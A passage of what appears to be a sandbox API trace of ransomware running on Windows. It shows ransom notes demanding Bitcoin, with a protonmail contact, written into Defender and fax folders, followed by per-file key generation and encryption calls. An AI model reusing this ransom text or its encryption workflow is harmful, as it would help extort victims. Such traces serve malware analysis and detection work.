dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0081.400] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.400] WriteFile (in: hFile=0x154, lpBuffer=0x26ffb4b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffd0c, lpOverlapped=0x0 | out: lpBuffer=0x26ffb4b*, lpNumberOfBytesWritten=0x26ffd0c*=0x1bf, lpOverlapped=0x0) returned 1 [0081.401] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.401] WriteFile (in: hFile=0x154, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffd0c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffd0c*=0x2ac, lpOverlapped=0x0) returned 1 [0081.401] CloseHandle (hObject=0x154) returned 1 [0081.401] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\store\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.423] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.423] WriteFile (in: hFile=0x168, lpBuffer=0x26ffb47*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffd08, lpOverlapped=0x0 | out: lpBuffer=0x26ffb47*, lpNumberOfBytesWritten=0x26ffd08*=0x1bf, lpOverlapped=0x0) returned 1 [0081.424] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.424] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffd08, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffd08*=0x2ac, lpOverlapped=0x0) returned 1 [0081.424] CloseHandle (hObject=0x168) returned 1 [0081.425] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\queue\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.432] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.432] WriteFile (in: hFile=0x168, lpBuffer=0x26ffb43*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffd04, lpOverlapped=0x0 | out: lpBuffer=0x26ffb43*, lpNumberOfBytesWritten=0x26ffd04*=0x1bf, lpOverlapped=0x0) returned 1 [0081.433] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.433] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffd04, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffd04*=0x2ac, lpOverlapped=0x0) returned 1 [0081.433] CloseHandle (hObject=0x168) returned 1 [0081.433] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\inbox\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.434] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.434] WriteFile (in: hFile=0x168, lpBuffer=0x26ffb3f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffd00, lpOverlapped=0x0 | out: lpBuffer=0x26ffb3f*, lpNumberOfBytesWritten=0x26ffd00*=0x1bf, lpOverlapped=0x0) returned 1 [0081.434] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.434] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffd00, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffd00*=0x2ac, lpOverlapped=0x0) returned 1 [0081.435] CloseHandle (hObject=0x168) returned 1 [0081.435] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.436] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.436] WriteFile (in: hFile=0x168, lpBuffer=0x26ffb3b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffcfc, lpOverlapped=0x0 | out: lpBuffer=0x26ffb3b*, lpNumberOfBytesWritten=0x26ffcfc*=0x1bf, lpOverlapped=0x0) returned 1 [0081.437] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.437] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffcfc, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffcfc*=0x2ac, lpOverlapped=0x0) returned 1 [0081.437] CloseHandle (hObject=0x168) returned 1 [0081.437] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.437] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.437] WriteFile (in: hFile=0x168, lpBuffer=0x26ffb37*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffcf8, lpOverlapped=0x0 | out: lpBuffer=0x26ffb37*, lpNumberOfBytesWritten=0x26ffcf8*=0x1bf, lpOverlapped=0x0) returned 1 [0081.438] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.438] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffcf8, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffcf8*=0x2ac, lpOverlapped=0x0) returned 1 [0081.439] CloseHandle (hObject=0x168) returned 1 [0081.439] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc98 | out: pbBuffer=0x26ffc98) returned 1 [0081.439] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ffc90*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ffc90*=0x30) returned 1 [0081.439] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\urgent.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.440] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc90 | out: pbBuffer=0x26ffc90) returned 1 [0081.440] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ffc88*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ffc88*=0x30) returned 1 [0081.440] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\generic.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.440] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc90 | out: pbBuffer=0x26ffc90) returned 1 [0081.440] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ffc88*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ffc88*=0x30) returned 1 [0081.441] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\fyi.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.441] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc88 | out: pbBuffer=0x26ffc88) returned 1 [0081.441] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ffc80*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ffc80*=0x30) returned 1 [0081.441] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\confident.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.441] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\activitylog\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.442] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.442] WriteFile (in: hFile=0x168, lpBuffer=0x26ffb23*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffce4, lpOverlapped=0x0 | out: lpBuffer=0x26ffb23*, lpNumberOfBytesWritten=0x26ffce4*=0x1bf, lpOverlapped=0x0) returned 1 [0081.443] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.443] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffce4, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffce4*=0x2ac, lpOverlapped=0x0) returned 1 [0081.443] CloseHandle (hObject=0x168) returned 1 [0081.445] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.445] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.445] WriteFile (in: hFile=0x168, lpBuffer=0x26ffb1f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffce0, lpOverlapped=0x0 | out: lpBuffer=0x26ffb1f*, lpNumberOfBytesWritten=0x26ffce0*=0x1bf, lpOverlapped=0x0) returned 1 [0081.446] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.446] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffce0, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffce0*=0x2ac, lpOverlapped=0x0) returned 1 [0081.446] CloseHandle (hObject=0x168) returned 1 [0081.446] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\support\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.448] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0081.448] WriteFile (in: hFile=0x168, lpBuffer=0x26ffb1b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x26ffcdc, lpOverlapped=0x0 | out: lpBuffer=0x26ffb1b*, lpNumberOfBytesWritten=0x26ffcdc*=0x1bf, lpOverlapped=0x0) returned 1 [0081.449] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0081.449] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x26ffcdc, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x26ffcdc*=0x2ac, lpOverlapped=0x0) returned 1 [0081.450] CloseHandle (hObject=0x168) returned 1 [0081.450] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffc78 | out: pbBuffer=0x26ffc78) returned 1 [0081.450] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ffc70*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ffc70*=0x30) returned 1 [0081.450] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log" (normalized: "c:\\programdata\\microsoft\\windows defender\\support\\mplog-07132009-221054.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0081.451] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log") returned 79 [0081.451] StrStrW (lpFirst="MPLog-07132009-221054.log", lpSrch=".txt") returned 0x0 [0081.451] ReadFile (in: hFile=0x168, lpBuffer=0x2c3dd0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x26ffc34, 